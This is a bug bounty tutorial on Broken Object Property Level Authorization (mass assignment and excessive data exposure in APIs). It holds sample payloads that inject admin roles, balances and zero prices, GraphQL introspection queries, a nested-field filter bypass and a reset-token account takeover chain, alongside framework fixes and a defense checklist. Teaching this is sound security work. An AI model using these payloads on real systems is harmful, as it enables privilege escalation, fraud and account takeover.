BOPLA – Broken Object Property Level Authorization

By DEVASHISH and GAURAV

Updated on:

Broken Object Property Level Authorization
πŸ› Bug Bounty Series

BOPLA β€”
Broken Object Property Level Authorization

BOPLA covers two attack surfaces: Mass Assignment (writing privileged fields the server shouldn’t accept) and Excessive Data Exposure (reading sensitive fields the API shouldn’t return). One of the most impactful and commonly missed API vulnerabilities in bug bounty.

πŸ† OWASP API3:2023 πŸ”΄ Medium β†’ Critical 🎯 Beginner–Intermediate πŸ”Œ API Security πŸ’° High Bounty

πŸ” What is BOPLA?

BOPLA β€” Broken Object Property Level Authorization is OWASP API Security Top 10 2023’s API3 entry. It replaces the two separate 2019 entries (Excessive Data Exposure and Mass Assignment) by combining them into one category: the API fails to restrict which object properties a user can read or write.

BOPLA diagram showing mass assignment attack injecting role admin into API request and excessive data exposure returning password hash in API response

BOPLA β€” Mass Assignment (write unauthorized fields) + Excessive Data Exposure (read unauthorized fields)

πŸ’‘ Core Concept

BOPLA has two attack directions. WRITE (Mass Assignment): you send privileged fields in a request body that the server should reject but doesn’t β€” role=admin, balance=999999. READ (Excessive Exposure): the server returns fields you should never see β€” password_hash, 2fa_secret, password_reset_token.

πŸ”΄ Critical β€” role=admin, balance manipulation, reset token leak
🟠 High β€” is_verified bypass, subscription upgrade, 2fa_secret
πŸ”΅ Medium β€” internal notes, non-sensitive field exposure

⚑ Two Attack Surfaces of BOPLA

✏️ WRITE β€” Mass Assignment
Send role=admin in request body
Server applies ALL fields without checking
Framework auto-binds req.body to DB model
No whitelist of allowed input fields
Fix: $fillable / permit() / fields=[]
πŸ‘οΈ READ β€” Excessive Data Exposure
API returns password_hash you shouldn’t see
Developer returns full DB model object
No output filter / DTO used
UI hides fields β€” Burp shows all of them
Fix: Response serializer with field whitelist

Mass Assignment β€” How It Works

Mass Assignment Attack
# Normal registration:
POST /api/register
{"name": "Dev", "email": "dev@test.com", "password": "test"}

# BOPLA β€” add privileged fields:
POST /api/register
{
  "name": "Dev", "email": "dev@test.com", "password": "test",
  "role": "admin",       ← injected
  "isAdmin": true,      ← injected
  "balance": 999999,    ← injected
  "is_verified": true  ← injected
}

# Verify: GET /api/me
# β†’ {"role":"admin","balance":999999,"is_verified":true}

Excessive Data Exposure β€” How It Works

Excessive Exposure β€” UI vs API
# UI shows: Name + Email only

# API actually returns (check in Burp):
GET /api/me  β†’  {
  "name": "Dev", "email": "dev@test.com",
  "password_hash": "$2b$10$abc...xyz",     ← CRITICAL
  "password_reset_token": "abc123def",   ← CRITICAL β€” account takeover!
  "2fa_secret": "JBSWY3DPEHPK3PXP",       ← CRITICAL β€” bypass MFA!
  "api_key": "sk-live-xxxxx",            ← CRITICAL
  "is_admin": false                       ← HIGH β€” admin flag exposed
}

πŸ“Š BOPLA β€” Quick Reference Table

FieldDetails
VulnerabilityBOPLA β€” Broken Object Property Level Authorization
Also Known AsMass Assignment, Excessive Data Exposure, Over-Posting, Auto-Binding, Object Property Injection
OWASPAPI3:2023 β€” Broken Object Property Level Authorization
CVE Score5.0 – 9.8
SeverityMedium β†’ Critical (role=admin or reset token leak = Critical)
Root Cause (Write)No input allowlist β€” framework auto-binds all request fields to DB model
Root Cause (Read)No output filter β€” returns full DB model instead of curated DTO/serializer
Where to CheckPOST /api/register, PUT/PATCH /api/profile, all GET response bodies, GraphQL
Best ToolsBurp Suite, Arjun, ParamMiner, curl, Python requests, Autorize
Practice LabscrAPI (OWASP Vulnerable API β€” best for BOPLA), PortSwigger, VAmPI, HackTheBox
DifficultyBeginner–Intermediate (Mass Assignment) | Intermediate (Exposure chaining)
Key RuleAlways call GET /api/me AFTER write test β€” a 200 alone is not confirmation
Related VulnsBackend Authorization Missing, Sensitive Information Disclosure, Vertical Privilege Escalation

πŸ’‰ Mass Assignment β€” Payload Reference Table

Test every one of these fields on every POST, PUT, and PATCH endpoint. Add them all at once in the request body and verify via GET /api/me.

Field to InjectValueWhat Happens if SavedSeverity
role“admin”Self-promote to admin roleCRITICAL
isAdmintrueAdmin flag set directlyCRITICAL
admintrueAlternative admin field nameCRITICAL
balance999999Infinite credits or moneyCRITICAL
credits99999Free premium creditsCRITICAL
access_level99Numeric privilege escalationCRITICAL
is_verifiedtrueSkip email verificationHIGH
email_verifiedtrueAlternative verified fieldHIGH
subscription“enterprise”Free plan upgradeHIGH
plan“premium”Free premium planHIGH
discount100100% discount on purchasesHIGH
price0Make any purchase freeHIGH

🧠 Manual Testing for BOPLA

Phase 1 β€” Mass Assignment (Write)

Test Every POST / PUT / PATCH
1
Find All Request Body Endpoints
Target: POST /api/register, PUT /api/users/{id}, PATCH /api/profile, POST /api/checkout, PUT /api/subscription, POST /graphql (mutations).
2
Inject Privileged Fields Into Request Body
Add role=admin, isAdmin=true, balance=999999, is_verified=true to every request body alongside normal fields.
3
Verify Persistence β€” CRITICAL STEP
A 200 response is NOT confirmation. After every write test, call GET /api/me and check if the injected field appears in the response with your value. Also check for behaviour change (admin menu, free credits, verified badge).
Mass Assignment Test β€” Full Flow
# Step 1: Normal profile update (baseline)
PATCH /api/profile
{"name": "Dev", "bio": "Researcher"}

# Step 2: BOPLA β€” add privileged fields
PATCH /api/profile
{
  "name": "Dev", "bio": "Researcher",
  "role": "admin",
  "isAdmin": true,
  "balance": 999999,
  "is_verified": true
}

# Step 3: Verify persistence
GET /api/me
# VULNERABLE: {"role":"admin","balance":999999,"is_verified":true}
# SECURE:     {"name":"Dev","bio":"Researcher"}  ← extra fields ignored

# Step 4: Confirm privilege escalation
GET /api/admin/users
# 200 OK = role=admin was saved and works

Phase 2 β€” Excessive Data Exposure (Read)

4
Inspect ALL API Responses in Burp
HTTP History β†’ click every GET response β†’ Ctrl+F to search for: password, hash, token, secret, key, 2fa, admin, internal.
5
Compare API Response vs UI Display
UI shows Name + Email. API returns 20 fields. Every field in the API response NOT shown in the UI is a potential Excessive Data Exposure finding.
6
Test List Endpoints β€” They Leak More
GET /api/users (list) almost always exposes more fields than GET /api/users/1 (single item). List endpoints often return the full model for all users.
Excessive Exposure β€” What to Look For
# Single user β€” may filter properly
GET /api/users/1001  β†’  {name, email}

# List endpoint β€” often dumps ALL fields for ALL users
GET /api/users  β†’  [
  {name, email, password_hash, reset_token, 2fa_secret, role},
  {name, email, password_hash, reset_token, 2fa_secret, role},
  ...thousands of users
]
# All users' sensitive data exposed = mass data breach = CRITICAL

Phase 3 β€” GraphQL BOPLA

GraphQL Introspection + Attack
# Step 1: Introspect schema β€” find hidden fields
{ __schema { types { name fields { name } } } }

# Step 2: Request hidden sensitive fields
query {
  me {
    id
    email
    passwordHash          ← add β€” does it return?
    passwordResetToken    ← add β€” does it return?
    twoFaSecret           ← add β€” does it return?
  }
}

# Step 3: Mass assignment via mutation
mutation {
  updateProfile(input: {name: "Dev", role: ADMIN, balance: 999999}) {
    success
  }
}

πŸ€– Best Tools for BOPLA Testing

πŸ”¬ Burp Suite
Intercept POST/PUT β†’ Repeater β†’ add privileged fields. HTTP History β†’ search all responses for sensitive keywords.
HTTP History β†’ Ctrl+F β†’ search "password", "token", "secret"
πŸ” Arjun
Auto-discovers hidden POST parameters including privileged fields. Fastest tool for parameter discovery.
arjun -u URL -m POST --stable
⛏️ ParamMiner
Burp extension β€” guesses hidden body params. Finds role, isAdmin, balance automatically.
Right-click β†’ Param Miner β†’ Guess JSON body params
πŸ” Autorize
Burp extension β€” compares admin vs user API responses automatically. Spots exposure differences.
BApp Store β†’ Autorize β†’ paste admin cookie
🌐 curl
Quick manual injection tests from command line.
curl -X PATCH URL -d '{"role":"admin"}' -H "Auth: Bearer T"
🐍 Python
Automate testing all privileged fields in a loop. Auto-verifies persistence via GET /api/me.
requests.patch(url, json={"role":"admin"}, headers=h)

πŸ”₯ Burp Suite β€” BOPLA Guide

1
Mass Assignment in Repeater
Intercept any PATCH/PUT β†’ Ctrl+R β†’ add "role":"admin", "isAdmin":true, "balance":999999 to JSON body β†’ Send β†’ GET /api/me to verify.
2
Find Exposure via Site Map Search
Target β†’ Site Map β†’ right-click β†’ Search β†’ search: password, hash, token, secret, 2fa, api_key. Each hit = inspect full response.
3
ParamMiner for Auto Discovery
Right-click any POST/PATCH β†’ Extensions β†’ Param Miner β†’ Guess JSON body params. Discovers hidden privileged fields like role, isAdmin, discount automatically.
4
Comparer β€” Admin vs User Responses
Call the same endpoint as admin (send to Comparer) and as user (send to Comparer). Compare β€” any extra fields shown only in admin response that also appear in user response = Excessive Exposure.

πŸ’£ Advanced BOPLA Techniques

Nested Object Mass Assignment β€” Bypass Flat Field Filters

Nested Object Bypass
# Flat filter blocks: {"role": "admin"}
# Nested object may bypass it:
{
  "name": "Dev",
  "user": {"role": "admin", "isAdmin": true},
  "profile": {"subscription": "enterprise"},
  "settings": {"access_level": 99}
}

Read Admin Response β†’ Use Fields in Write Request

Admin Field Structure Harvesting
# Step 1: Find endpoint leaking admin user data
GET /api/users/1  β†’  {name:'Admin', role:'admin', permissions:['all']}

# Step 2: Copy exact field structure
# Step 3: Send those fields in your own update
PATCH /api/profile
{"role": "admin", "permissions": ["all"], "access_level": 99}

Excessive Exposure β†’ Account Takeover Chain

Read reset_token β†’ Takeover Account
# Step 1: Find user list endpoint leaking reset tokens
GET /api/users  β†’  [
  {email:"victim@test.com", password_reset_token:"abc123def"},
  ...
]

# Step 2: Use token to reset victim's password
POST /api/password/reset
{"token": "abc123def", "new_password": "hacked123"}

# Excessive Exposure (BOPLA READ) β†’ Account Takeover
# Severity: CRITICAL with $5,000–$15,000 bounty potential

πŸ› οΈ Framework Secure Fix Reference

FrameworkVulnerable PatternSecure Fix
LaravelUser.update(req.all())protected $fillable = [‘name’,’email’];
RailsUser.update(params[:user])params.require(:user).permit(:name,:email)
Djangofields = ‘__all__’ in Serializerfields = [‘name’,’email’] in Serializer
Spring@RequestBody User (full entity)@RequestBody UserDTO (separate DTO class)
Node/JSUser.update(req.body)User.update(pick(req.body,[‘name’,’email’]))
FastAPIFull model accepting all from requestSeparate Pydantic schemas for input vs output
Gojson.Unmarshal into full structUnmarshal into strict input struct only

πŸ”— Real BOPLA Bug Chains

πŸ‘‘
Mass Assignment on /api/register β†’ Admin From Day 1
Add role=admin to POST /api/register body β†’ framework auto-binds β†’ login β†’ full admin access from the very first request
CRITICAL πŸ’°
πŸ’°
Mass Assignment on /api/profile β†’ Infinite Balance
Add balance=999999 to PATCH /api/profile β†’ balance field auto-bound β†’ free credits β†’ financial fraud at scale
CRITICAL πŸ’°
πŸ”‘
Excessive Exposure Leaks reset_token β†’ Mass Account Takeover
GET /api/users list returns password_reset_token for every user β†’ use any token to reset password β†’ take over any account without knowing credentials
CRITICAL πŸ’°
πŸ”
Excessive Exposure Leaks 2fa_secret β†’ Bypass MFA for All Users
GET /api/users list returns 2fa_secret β†’ generate valid OTP for any user β†’ login bypassing MFA β†’ account access even with password + MFA enabled
CRITICAL πŸ’°
⛓️
BOPLA WRITE β†’ Backend Auth Missing β†’ Full Compromise
Set role=admin via mass assignment β†’ role saved β†’ call /api/admin/export β†’ backend auth missing on admin endpoint β†’ full DB dump
CRITICAL πŸ’°
πŸ›’
Mass Assignment on /api/checkout β†’ Free Purchase
Add price=0 or discount=100 to POST /api/checkout body β†’ purchase confirmed at $0 β†’ direct financial loss to business
HIGH πŸ’°

πŸ›‘οΈ Defense Against BOPLA

βœ… The Core Fix

WRITE: Use explicit allowlists (DTOs / $fillable / permit()) β€” never bind req.body directly to DB model. READ: Use response serializers with field whitelists β€” never return the full DB model object. Separate your input schema from your output schema.

Node.js β€” Secure vs Vulnerable Pattern
// VULNERABLE β€” binds ALL fields from request to DB
app.patch('/api/profile', async (req, res) => {
    await User.update(req.body)  ← DANGEROUS
})

// SECURE β€” whitelist only allowed fields
const pick = (obj, keys) => keys.reduce((acc, k) => {
    if (obj[k] !== undefined) acc[k] = obj[k]; return acc;
}, {});

app.patch('/api/profile', async (req, res) => {
    const allowed = pick(req.body, ['name', 'bio', 'avatar'])
    await User.update(allowed)  ← SAFE β€” only whitelisted fields
})
πŸ“‹ Security Checklist

β˜‘ WRITE: Use $fillable / permit() / fields= / DTOs β€” explicit allowlists only
β˜‘ READ: Use response serializers β€” never return full ORM model object
β˜‘ Separate READ schema and WRITE schema β€” different validation rules
β˜‘ Never use fields=’__all__’ in Django serializers
β˜‘ GraphQL: use field-level authorization on every resolver
β˜‘ Run automated tests: send privileged fields β†’ verify they are rejected
β˜‘ List endpoints need stricter filtering than single-item endpoints

🧠 Key Takeaways β€” BOPLA

  • BOPLA = the API does not control which properties you can write (Mass Assignment) or read (Excessive Exposure)
  • Test ALL POST/PUT/PATCH endpoints β€” add role, isAdmin, balance, is_verified to EVERY request body
  • A 200 response is NOT confirmation β€” always call GET /api/me after write to verify field persistence
  • List endpoints (/api/users) expose more fields than single-item endpoints (/api/users/1) β€” test both
  • GraphQL is highest risk β€” introspection reveals all fields, mutations accept all inputs by default
  • Nested objects bypass flat-field filters β€” always test {"user":{"role":"admin"}} patterns
  • Never report Excessive Exposure alone β€” chain it: leaked reset_token β†’ show account takeover
  • Framework defaults are dangerous β€” all major ORMs auto-bind ALL fields unless explicitly restricted
  • Django fields='__all__' in serializers is one of the most dangerous defaults in web development
  • The GitHub 2012 bug was BOPLA β€” one POST request gave write access to any organization on GitHub
πŸ† The GitHub 2012 Bug β€” BOPLA at Historic Scale

Egor Homakov found that GitHub’s mass assignment flaw allowed adding an SSH key to any GitHub organization by sending extra fields in a single API POST request. No admin rights. No social engineering. Just one extra field in the request body. Fixed within hours. Made mass assignment famous. This is BOPLA at Critical scale β€” and the exact vulnerability OWASP named this category after.

πŸ’¬ Found this BOPLA guide helpful? Share it!

Related Posts

Missing Session Timeout – Bug Bounty Guide 2026

Session Hijacking – Bug Bounty Guide 2026

DEVASHISH and GAURAV

We’re Gaurav and Devashish, Bug Bounty Researchers passionate about sharing practical cybersecurity knowledge. From beginner-friendly payloads to advanced exploitation chains, we break down complex security concepts into simple, easy-to-understand explanations.

Leave a comment